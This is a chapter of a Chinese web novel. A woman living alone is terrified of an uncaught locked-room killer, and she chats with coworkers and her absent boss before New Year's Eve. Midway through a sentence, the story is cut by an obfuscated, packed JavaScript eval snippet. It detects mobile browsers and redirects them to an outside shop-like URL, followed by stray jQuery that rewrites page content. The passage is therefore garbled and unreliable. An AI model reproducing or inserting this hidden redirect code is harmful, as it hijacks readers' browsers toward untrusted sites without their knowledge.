晚上,米苏躺在床上,翻来覆去的睡不着,心里的阴谋论又开始不受控制地滋生。
能够密室杀人,想必一定对周围环境了如指掌,或者……凶手一直潜伏在附近,像阴暗角落里生长的苔藓,观察着这栋楼里的住户。
而她,一名独居女性,生活节奏规律,会不会早已被某些暗中窥视的眼睛盯上?
这个想法让她全身汗毛竖立起来,仿佛黑暗中有无数双眼。床底随时会爬出来一个人,柜门会被突然打开,露出那双森然的眼睛!
米苏猛地起身,大口粗声地喘着气。
她战栗地起身,检查了所有的门窗,又把廊道的灯全部打开,让光线驱散每一个角落的阴影。
被吵醒的苏打水困惑地盯着她反常的举动,蹭了蹭她的腿。
米苏抱起它,已经攥出了一手心的汗,她请求:“今晚陪我睡,好吗?”
苏打水高冷地舔毛。
“求你了……”
“汪!”唉,真是麻烦的人类。
耳边有熟悉的呼吸声,这让她对周围环境多了几分安全感。
可耳朵仍警惕地捕捉门外的动静,直到天色蒙蒙亮,才在极度的疲惫中迷糊过去。
第二天早上,米苏照镜子才再度发现,黑眼圈这位好友果然不负众望地再度登门拜访,且看起来打算长住。
她用冷水拍了拍脸,试图振作。
凶手还没落网,她再这样神神叨叨的,倒先把自己逼疯。
-
“米苏,9:15分,报道成功。”
“哇哦,米苏,你昨晚是去拯救世界了,还是被派去挖煤了?”李薇扭着盈盈一握的小腰过路,语气里充满了看热闹不嫌事大的惊叹,“这黑眼圈,自带烟熏气场啊。”
米苏身穿白色毛呢外套,顶着两团堪比国宝的黑眼圈,飘进了公司。那脸色,活像是刚跟吸血鬼家族进行亲密团建。
只见她有气无力地抬了抬眼皮,对着李薇那张艳丽的小脸长长地叹了口气:“唉……”
“怎么了这是,失恋了?方案被毙了?”章莉梨在这时也凑了过来,“不该啊,列文虎克都出差了。说实话,这段日子没人骂还不习惯了呢。”
米苏转过头,对着章莉梨,又是声更长的叹息:“唉…………”
“不是,姐们儿,你到底咋了?”李薇看神经病一样的眼神,“市医院打车只需十分钟,心理科刘主任是我男朋友老舅,保证给你药到病除。”
米苏缓缓摇头,眼神放空:“你们说,人这一生,追求的到底是什么?升职加薪?买房买车?这些到头来,还不是一副臭皮囊,说没就没,说烂就烂,可能烂在你隔壁都不知道……”
章莉梨、李薇:“???”
“珍惜当下吧,朋友们。”米苏拍了拍两人的肩膀,“能吃能喝能呼吸,还能熬夜追剧然后第二天顶着黑眼圈被同事嘲笑……这都是福气啊!”
她顿了顿,总结道:“还是活着好。真的。”
说完,她迈着虚浮的步伐,飘向了工位。
留下章莉梨与李薇两人在原地风中凌乱。
“她是不是…最近压力太大了?”章莉梨迟疑发问。
李薇不屑轻道:“病会传染,今天离她远点。”
直到下班,米苏都维持着这种对着窗外的落叶或桌上的绿植莫名叹气的状态,成功让半个办公室的人都觉得她可能需要预约一下心理咨询室。
自那之后,米苏正式进入“惊弓之鸟”模式。
基本上告别深度睡眠,一点风吹草动,水管响、风声、甚至于苏打水放屁,都能让她瞬间惊醒,心跳飙到180。
黑眼圈荣幸地从“烟熏妆”升级为“被打了两拳”。
她给谢承发过几次信息,旁敲侧击问进展。谢承回复谨慎,但也透露出不少信息。
受害人女朋友的不在场证明仔细核实,她确实没有作案时间。
秦东海的社会关系深挖出了灰色链条,涉及小额非法借贷和地下赌局,排查出几个有矛盾的对象,但均有不同程度的不在场证明或动机不足。
此外,他们口中所述的“凯哥”,及有可能是前段时间几起密室杀人案的逃脱凶手——车江凯。
看到这三个字下一秒,米苏一个腿软,差点当场行大礼。
这个名字,连同那几起案件,早就在社会新闻版块和都市传说中传得沸沸扬扬。根据凶手作案规律,受害者往往是独居、有一定经济能力或外貌条件优渥的年轻女性。
手法残忍且善于制造密闭空间内的意外或自杀假象,反侦察能力极强,至今逍遥法外。
可……秦东海是个男人,而且从任何角度看,都不符合车江凯以往的猎物特征。
那些从开始的猜疑又加重几分,本就脆弱不堪一击的心,如今迎来了最后一杀。
彻底残血gameover了。
-
“滴——”
单纯的一声手机提示音,米苏还是被吓得一激灵。在对面章莉梨递来的疑惑目光下,她擦了擦嘴角并不存在的污渍,将那份味同嚼蜡的餐盘推开,拿起手机看了眼。
是简司砚发来的短信。
【之前的项目反馈报告,客户那边有更新吗?】
米苏疑惑地眨了眨眼。悦容项目的季度反馈,一直是章莉梨在直接对接跟进,简司砚向来分工明确,怎么会突然越过章莉梨来问她?
正巧中午两人是一块来食堂吃饭的,于是顺嘴问了句,将原话发送过去。
提拉米苏:【报告?哦,您说悦容项目的季度反馈吗?还没呢,对方接口人说明天给最终版。我这边收到后第一时间整理发给您。】
隔了好大会儿,对面才回复:【嗯。】
章莉梨道:“简总监说啥了?”
“他知道了。”
又往上翻了翻两人的聊天记录,发现间隔时间已经很长,上一条信息还停留在半月前她拍的苏打水洗澡图。
男人对此评论,美狗出浴。
冷不丁的幽默,配上简司砚那张几乎是不会讲话的脸,害她笑了大半天。
米苏不得不承认,她最近的状态确实糟糕透顶。
人被无形的恐惧折磨得形销骨立,倒是苏打水,在经历最初几晚被神经质主人强行搂抱入睡后,迅速适应了“暖床”这个新角色,吃嘛嘛香,睡嘛嘛足,心宽体胖,毛色油亮,与主人的憔悴形成惨烈对比。
所以也不需要向简司砚报备什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483099|201861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,实际原因则是自己实在没那个心情了。
章莉梨深感佩服地评价道:“要不说人家是人物呢,在外出差跟各路神仙斗法,还能分心惦记着家里这点项目进度。这掌控力和记忆力,啧啧,高质量人类啊,非我等凡人能够企及的高度。”
米苏勉强笑了笑,没应声。
“话说,后天就跨年了,你怎么过?”章莉梨问。
“啊?”米苏有些懵地抬头,“跨年了?”
章莉梨被她这反应弄得哭笑不得:“你这日子过得……日历都不用翻了是吧?原先精神不济是因为隔壁太吵睡不好,最近又怎么回事儿?”
“……”米苏实话实说,“还是他们。”
“不是吧,你都搬出来多久了。”
“也不纯是他们,”米苏烦躁地揉揉脑袋,“却跟他们有关。”
章莉梨看她不想多说,也不逼问,只是叹了口气:“算了,不提了。正好后天轮休,我本来想跟你姐夫去市中心广场看烟花秀,听说今年搞得特别大。”
米苏听着,却提不起半点兴趣。
章莉梨接连抱怨道:“结果他轴的要死,说跨年夜人挤人,酒后闹事和暴力事件发生率会飙升,不安全,非要宅在家里……切,我看他就是懒得出门,纯找借口!”
米苏顺着话头安慰道:“姐夫那是心疼你。你平时工作起来就是个拼命三娘,现在好不容易逮着机会,肯定想霸占你,享受一下二人世界嘛。”
章莉梨嗔怪地瞪了她一眼:“去你的!瞎说什么呢。”
米苏笑了笑。
这别人的跨年,是烟花、团聚、浪漫。她的跨年呢?抱着苏打水,在灯火通明的房间里,祈祷不要有任何意外发生。
“大过年的,请自己吃顿好的,别老瞎想。”章莉梨最后叮嘱她一句。
“……嗯。”
两人吃完饭,各自回到工位上。
米苏盯着电脑屏幕上的数字和图表,却久久无法集中精神力。
后天就是跨年夜了。按照以往的经验,这种全民欢庆,人员密集,流动性极大的日子,也是某些罪恶悄然滋生的温床。
上班期间,她心神不宁地处理邮件,目光却总是不由自主地瞟向手机。
挣扎得久了,还是点开了和简司砚的聊天窗口。
【提拉米苏】:老板,后天跨年,你那边项目能结束回来吗?
发送后,她觉得自己大概是疯了,这种话,简直像是在期待他回来一样。
手机震动了一下,她几乎是即刻抓起了手机。
【简司砚】:原计划明天收尾。但临时有个关键环节需要多盯一天。
米苏的心往下沉了沉。果然……回不来吗?也是,工作重要。
她正准备回复,简司砚的信息接续跳了出来:
【可能会推迟到1号上午。怎么?】
这意味着他跨年晚上大概率是赶不回来了。
【提拉米苏】:没什么,就是随便问问。
【提拉米苏】:老板你忙正事要紧,注意休息^o^
米苏放下手机后,自嘲地笑了笑。
她在期待什么?难道指望他说“我会尽量赶回来”吗?
可笑了。